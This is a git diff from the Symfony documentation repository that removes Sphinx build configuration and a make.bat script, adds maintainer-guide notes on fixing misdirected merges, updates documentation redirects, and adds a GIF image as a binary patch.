-
-# If false, no module index is generated.
-#html_domain_indices = True
-
-# If false, no index is generated.
-#html_use_index = True
-
-# If true, the index is split into individual pages for each letter.
-#html_split_index = False
-
-# If true, links to the reST sources are added to the pages.
-#html_show_sourcelink = True
-
-# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
-#html_show_sphinx = True
-
-# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
-#html_show_copyright = True
-
-# If true, an OpenSearch description file will be output, and all pages will
-# contain a <link> tag referring to it.  The value of this option must be the
-# base URL from which the finished HTML is served.
-#html_use_opensearch = ''
-
-# This is the file name suffix for HTML files (e.g. ".xhtml").
-#html_file_suffix = None
-
-# Output file base name for HTML help builder.
-htmlhelp_basename = 'SymfonyDoc'
-
-
-# -- Options for LaTeX output --------------------------------------------------
-
-latex_elements = {
-# The paper size ('letterpaper' or 'a4paper').
-#'papersize': 'letterpaper',
-
-# The font size ('10pt', '11pt' or '12pt').
-#'pointsize': '10pt',
-
-# Additional stuff for the LaTeX preamble.
-#'preamble': '',
-}
-
-# Grouping the document tree into LaTeX files. List of tuples
-# (source start file, target name, title, author, documentclass [howto/manual]).
-latex_documents = [
-  ('index', 'Symfony.tex', u'Symfony Documentation',
-   u'Symfony community', 'manual'),
-]
-
-# The name of an image file (relative to this directory) to place at the top of
-# the title page.
-#latex_logo = None
-
-# For "manual" documents, if this is true, then toplevel headings are parts,
-# not chapters.
-#latex_use_parts = False
-
-# If true, show page references after internal links.
-#latex_show_pagerefs = False
-
-# If true, show URL addresses after external links.
-#latex_show_urls = False
-
-# Documents to append as an appendix to all manuals.
-#latex_appendices = []
-
-# If false, no module index is generated.
-#latex_domain_indices = True
-
-
-# -- Options for manual page output --------------------------------------------
-
-# One entry per manual page. List of tuples
-# (source start file, name, description, authors, manual section).
-man_pages = [
-    ('index', 'symfony', u'Symfony Documentation',
-     [u'Symfony community'], 1)
-]
-
-# If true, show URL addresses after external links.
-#man_show_urls = False
-
-
-# -- Options for Texinfo output ------------------------------------------------
-
-# Grouping the document tree into Texinfo files. List of tuples
-# (source start file, target name, title, author,
-#  dir menu entry, description, category)
-texinfo_documents = [
-  ('index', 'Symfony', u'Symfony Documentation',
-   u'Symfony community', 'Symfony', 'One line description of project.',
-   'Miscellaneous'),
-]
-
-# Documents to append as an appendix to all manuals.
-#texinfo_appendices = []
-
-# If false, no module index is generated.
-#texinfo_domain_indices = True
-
-# How to display URL addresses: 'footnote', 'no', or 'inline'.
-#texinfo_show_urls = 'footnote'
-
-# Use PHP syntax highlighting in code examples by default
-highlight_language='php'
diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 7eff3143941..7e5cbc8caba 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -335,6 +335,43 @@ in the tree as follows:
     $ git push origin
     $ git push upstream
 
+Merging in the wrong branch
+...........................
+
+A Pull Request was made against ``5.x`` but it should be merged in ``5.1`` and you
+forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solution:
+
+.. code-block:: terminal
+
+    $ git checkout 5.1
+    $ git cherry-pick <SHA OF YOUR MERGE COMMIT> -m 1
+    $ git checkout 5.x
+    $ git revert <SHA OF YOUR MERGE COMMIT> -m 1
+    # now continue with the normal "upmerging"
+    $ git checkout 5.2
+    $ git merge 5.1
+    $ ...
+
+Merging while the target branch changed
+.......................................
+
+Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
+doing it. In these cases, ``gh merge ...`` fails to push. Solve this by
+resetting your local branch and restarting the merge:
+
+.. code-block:: terminal
+
+    $ gh merge ...
+    # this failed
+
+    # fetch the updated 5.x branch from GitHub
+    $ git fetch upstream
+    $ git checkout 5.x
+    $ git reset --hard upstream/5.x
+
+    # restart the merge
+    $ gh merge ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html
diff --git a/_build/make.bat b/_build/make.bat
deleted file mode 100644
index 6d3f205272f..00000000000
--- a/_build/make.bat
+++ /dev/null
@@ -1,263 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=.
-set ALLSPHINXOPTS=-c %BUILDDIR% -d %BUILDDIR%/doctrees %SPHINXOPTS% ..
-set I18NSPHINXOPTS=%SPHINXOPTS% .
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-	set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  texinfo    to make Texinfo files
-	echo.  gettext    to make PO message catalogs
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  xml        to make Docutils-native XML files
-	echo.  pseudoxml  to make pseudoxml-XML files for display purposes
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	echo.  coverage   to run coverage check of the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-
-REM Check if sphinx-build is available and fallback to Python version if any
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 goto sphinx_python
-goto sphinx_ok
-
-:sphinx_python
-
-set SPHINXBUILD=python -m sphinx.__init__
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.http://sphinx-doc.org/
-	exit /b 1
-)
-
-:sphinx_ok
-
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Symfony.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Symfony.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdf" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdfja" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf-ja
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "texinfo" (
-	%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
-	goto end
-)
-
-if "%1" == "gettext" (
-	%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-if "%1" == "coverage" (
-	%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of coverage in the sources finished, look at the ^
-results in %BUILDDIR%/coverage/python.txt.
-	goto end
-)
-
-if "%1" == "xml" (
-	%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The XML files are in %BUILDDIR%/xml.
-	goto end
-)
-
-if "%1" == "pseudoxml" (
-	%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
-	goto end
-)
-
-:end
diff --git a/_build/redirection_map b/_build/redirection_map
index 3c3700792bf..1acae2a1667 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -449,16 +449,17 @@
 /reference/requirements /setup
 /bundles/inheritance /bundles/override
 /templating /templates
-/templating/escaping /templates
-/templating/syntax /templates
-/templating/debug /templates
-/templating/render_without_controller /templates
-/templating/app_variable /templates
+/templating/escaping /templates#output-escaping
+/templating/syntax /templates#linting-twig-templates
+/templating/debug /templates#the-dump-twig-utilities
+/templating/render_without_controller /templates#rendering-a-template-directly-from-a-route
+/templating/app_variable /templates#the-app-global-variable
 /templating/formats /templates
-/templating/namespaced_paths /templates
-/templating/embedding_controllers /templates
-/templating/inheritance /templates
+/templating/namespaced_paths /templates#template-namespaces
+/templating/embedding_controllers /templates#embedding-controllers
+/templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
+/translation/templates /translation#translation-in-templates
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
@@ -508,5 +509,26 @@
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
 /components/mailer /mailer
-/messenger/message-recorder messenger/dispatch_after_current_bus
+/messenger/message-recorder /messenger/dispatch_after_current_bus
 /components/stopwatch https://github.com/symfony/stopwatch
+/service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
+/frontend/encore/shared-entry /frontend/encore/split-chunks
+/testing/functional_tests_assertions /testing#testing-application-assertions
+/components https://symfony.com/components
+/components/index https://symfony.com/components
+/logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
+/security/named_encoders /security/named_hashers
+/security/experimental_authenticators /security
+/security/user_provider /security/user_providers
+/security/reset_password /security/passwords#reset-password
+/security/auth_providers /security#security-authenticators
+/security/form_login /security#form-login
+/security/form_login_setup /security#form-login
+/security/json_login_setup /security#json-login
+/security/named_hashers /security/passwords#named-password-hashers
+/security/password_migration /security/passwords#security-password-migration
+/security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
+/security/securing_services /security#securing-other-services
+/security/authenticator_manager /security
+/security/multiple_guard_authenticators /security/entry_point
+/security/guard_authentication /security/custom_authenticator
diff --git a/_images/components/console/cursor.gif b/_images/components/console/cursor.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a4fd844eb80a1f0502cfc131c7f6a5b687e03c34
GIT binary patch
literal 64894
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
